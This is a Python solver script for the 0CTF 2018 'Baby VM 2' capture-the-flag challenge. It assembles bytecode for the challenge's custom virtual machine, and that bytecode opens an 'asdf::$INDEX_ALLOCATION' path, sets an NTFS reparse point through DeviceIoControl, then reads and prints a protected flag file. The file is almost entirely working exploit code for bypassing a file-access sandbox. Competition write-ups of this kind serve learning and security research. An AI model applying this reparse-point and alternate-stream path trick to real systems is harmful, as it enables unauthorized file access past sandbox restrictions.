Baby VM 2 - 0CTF 2018 - solver

baby_vm2_assembler.py

from struct import pack

def make_insn(op, mode):
    assert 0 <= op < 0x40
    assert 0 <= mode < 4
    return chr(op | (mode << 6))

DATA=0
ADDR=2
BOOL=3

SYS_OPEN = 0
SYS_READ = 1
SYS_IOCTL = 2
SYS_PUTS = 3

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
FILE_ATTRIBUTE_DIRECTORY = 0x00000010 
FILE_ATTRIBUTE_NORMAL = 0x00000080
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000
FSCTL_SET_REPARSE_POINT = 0x900a4
FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000
FILE_READ_DATA = 0x0001
FILE_WRITE_DATA = 0x0002

# OP=0, EXIT
def exit():
    return make_insn(0, 0)

# OP=1, RET??
def ret_push_2():
    return make_insn(1, 0)

# OP=2, SYSCALL
def syscall():
    return make_insn(2, 0)

# OP=5, RET
def ret():
    return make_insn(5, 0)

# OP=6, JNZ (bool, dest)
def jnz():
    return make_insn32(6, 0)

# OP=7, PUSH0
def push_0():
    return make_insn(7, 0)

# OP=8, PUSH1
def push_1():
    return make_insn(8, 0)

# OP=13, PUSH_ADDR
def push_byte_addr(arg):
    return make_insn(13, 0) + chr(arg)
def push_word_addr(arg):
    return make_insn(13, 1) + pack('<H', arg)
def push_dword_addr(arg):
    assert arg <= 0x3fffffff
    return make_insn(13, 2) + pack('<I', arg)
def push_acc_addr():
    return make_insn(13, 3)

# OP=14, PUSH_DATA
def push_byte_data(arg):
    return make_insn(14, 0) + chr(arg)
def push_word_data(arg):
    return make_insn(14, 1) + pack('<H', arg)
def push_dword_data(arg):
    assert arg <= 0x3fffffff
    return make_insn(14, 2) + pack('<I', arg)
def push_acc_data():
    return make_insn(14, 3)

# OP=15, POP_ACC
def pop_acc():
    return make_insn(15, 0)

# OP=16, DUP
def dup():
    return make_insn(16, 0)

# OP=17, NOT
def not_():
    return make_insn(17, 0)

# OP=18, ADD
def add():
    return make_insn(18, 0)

# OP=19, SUB
def sub():
    return make_insn(19, 0)

# OP=20, MUL
def mul():
    return make_insn(20, 0)

# OP=21, DIV
def div():
    return make_insn(21, 0)

# OP=22, MOD
def mod():
    return make_insn(22, 0)

# OP=23, PUSH3_IF_LT_32
# BITSCAN which doesn't work?
def push3_if_lt_32():
    return make_insn(23, 0)

# OP=24, AND
def and_():
    return make_insn(24, 0)

# OP=25, OR
def or_():
    return make_insn(25, 0)

# OP=24, AND
def and_():
    return make_insn(24, 0)

#OP 26-31: drop + push3 ?

##################################################
# Payload
##################################################

# data section
data = ''
cur_addr = 0x8000

def decl_bytes(s):
    global data, cur_addr
    res = cur_addr
    data += s
    cur_addr += len(s)
    return res

def decl_str(s):
    global data, cur_addr
    res = cur_addr
    data += chr(len(s)) + s
    cur_addr += 1 + len(s)
    return res

flag_txt = decl_str(r'''asdf/flag.txt''')
decl_bytes('\0'*100)
symlink_name = decl_str(r'''asdf::$INDEX_ALLOCATION''')
decl_bytes('\0')
marker_1 = decl_bytes('MARKER #1\n\0')
marker_2 = decl_bytes('MARKER #2\n\0')
marker_3 = decl_bytes('MARKER #3\n\0')
with open('ioctl_data.bin', 'rb') as f:
    ioctl_data_bytes = f.read()
ioctl_data = decl_bytes(ioctl_data_bytes)

# code section

code = ''

code += push_dword_addr(marker_1)
code += push_dword_data(SYS_PUTS)
code += syscall()

# CreateFileA(symlink_src)
code += push_dword_data(FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT) # dwFlagsAndAttributes
code += push_dword_data(FILE_READ_DATA | FILE_WRITE_DATA) # dwDesiredAccess
code += push_dword_addr(symlink_name) # path
code += push_dword_data(SYS_OPEN)
code += syscall()
code += pop_acc()
# handle is in acc

# DeviceIoControl
code += push_dword_data(len(ioctl_data_bytes)) # buf_size
code += push_dword_addr(ioctl_data) # &buf
code += push_dword_data(FSCTL_SET_REPARSE_POINT) # control code
code += push_acc_data() # handle
code += push_dword_data(SYS_IOCTL)
code += syscall()

# CreateFileA(symlink_src)
code += push_dword_data(FILE_ATTRIBUTE_NORMAL) # dwFlagsAndAttributes
code += push_dword_data(FILE_READ_DATA) # dwDesiredAccess
code += push_dword_addr(flag_txt) # path
code += push_dword_data(SYS_OPEN)
code += syscall()
code += pop_acc()
# Read the flag
code += push_dword_data(0x100) # read size
code += push_dword_addr(flag_txt) # read addr
code += push_acc_data() # handle
code += push_dword_data(SYS_READ)
code += syscall()

code += push_dword_addr(marker_2)
code += push_dword_data(SYS_PUTS)
code += syscall()

code += push_dword_addr(flag_txt)
code += push_dword_data(SYS_PUTS)
code += syscall()

code += push_dword_addr(marker_3)
code += push_dword_data(SYS_PUTS)
code += syscall()

code += exit()

assert len(code) <= 0x8000
code += '\0' * (0x8000 - len(code))

with open('code.bin', 'wb') as f:
    f.write(code + data)